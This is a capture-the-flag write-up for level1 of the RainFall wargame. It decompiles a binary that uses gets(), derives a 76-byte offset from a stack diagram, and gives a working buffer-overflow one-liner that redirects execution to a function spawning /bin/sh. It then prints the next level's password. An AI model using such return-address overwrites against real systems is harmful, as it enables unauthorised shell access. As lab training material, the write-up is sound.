./level1

```
RELRO           STACK CANARY     NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found  NX disabled   No PIE          No RPATH   No RUNPATH   /home/user/level1/level1

level1@RainFall:~$
```

Decompiled file with ***Ghidra***:

```c
void run(void)
{
    fwrite("Good... Wait what?\n", 1, 0x13, stdout);
    system("/bin/sh");
    return;
}

void main(void)
{
    char buffer[68];
    gets(buffer);
    return;
}
```

We have a simple program with a **main** function that uses the **gets** function.

The **gets** function is considered unsafe and has been *deprecated* because it is vulnerable to **buffer overflow attacks**. This happens because **gets** doesn't check the length of the input, and if it exceeds the buffer size, it can **overwrite** other parts of memory.
In this program, **gets** takes standard input and puts it into a buffer of size 68.

There's also a **run(void)** function that isn't called by the **main.**
We want to invoke this function because it contains a call to **system("/bin/sh")**.

To achieve this, we plan to overflow the buffer to overwrite the **return address** of our main function.
There are two ways to determine the required overflow size:

- **Pattern Generation:**

Feed the program a **unique character pattern sequence**. If the sequence causes a *segfault* due to the **overflow**, the overwritten *return address* can be examined to reveal the exact **offset**.

- **Manual Offset Estimation:**

Here, we dive into the program's memory structure. Due to memory alignment and optimizations, compilers introduce *stack paddings*, complicating the process. With the help of a **debugger**, we discern the distance between the buffer's end and the return address. It offers deeper insight but demands more effort.

./level1[2]

For this level, we went with the **manual offset estimation** just to get a feel for how the **stack** works.
It was a bit more hands-on, but it helped us see how the program's memory is laid out, and it also guided us in creating this stack visualization below :)

Stack before buffer overflow: Offset	Value		Stack after buffer overflow: Offset	Value
0xffffdcf0	ff ff dd 00	ESP	0xffffdcf0	ff ff dd 00
0xffffdcf4	f7 ef 66 7c		0xffffdcf4	f7 ef 66 7c
0xffffdcf8	f7 f2 95 e8		0xffffdcf8	f7 f2 95 e8
0xffffdcfc	ff eb af e6		0xffffdcfc	ff eb af e6
0xffffdd00	00 00 00 00	buffer	0xffffdd00	41 41 41 41
0xffffdd04	00 00 00 00	buffer	0xffffdd04	41 41 41 41
...		buffer	...	
0xffffdd3c	01 00 00 00	buffer	0xffffdd3c	41 41 41 41
0xffffdd40	00 00 00 00	buffer	0xffffdd40	41 41 41 41
0xffffdd44	00 00 00 00	stack padding	0xffffdd44	41 41 41 41
0xffffdd48	00 00 00 00	EBP	0xffffdd48	41 41 41 41
0xffffdd4c	c5 37 c2 f7	return address	0xffffdd4c	08 04 84 44

Taking a look at our **stack** visualization, we see that the **buffer** initiates at 0xffffdd00 and the location where the return address resides is 0xffffdd4c. The distance between them is 76 bytes.
So, when we're feeding data into the **buffer**, the initial 76 characters will fill up the **buffer** space, **padding** and the **EBP**.
Characters 77 through 80 will **overwrite** the *return address*.

To carry out our **exploit**, we'll input 76 characters followed by the little endian representation of the **run(void)** function's address, 0x08048444.

```
level1@RainFall:~$ {
    python -c 'print("A"*76 + "\x44\x84\x04\x08")';
    cat <<< "cd ../level2 && cat .pass";
} | ./level1

Good... Wait what?
53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
Segmentation fault (core dumped)

level1@RainFall:~$ su level2
Password: 53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77

level2@RainFall:~$
```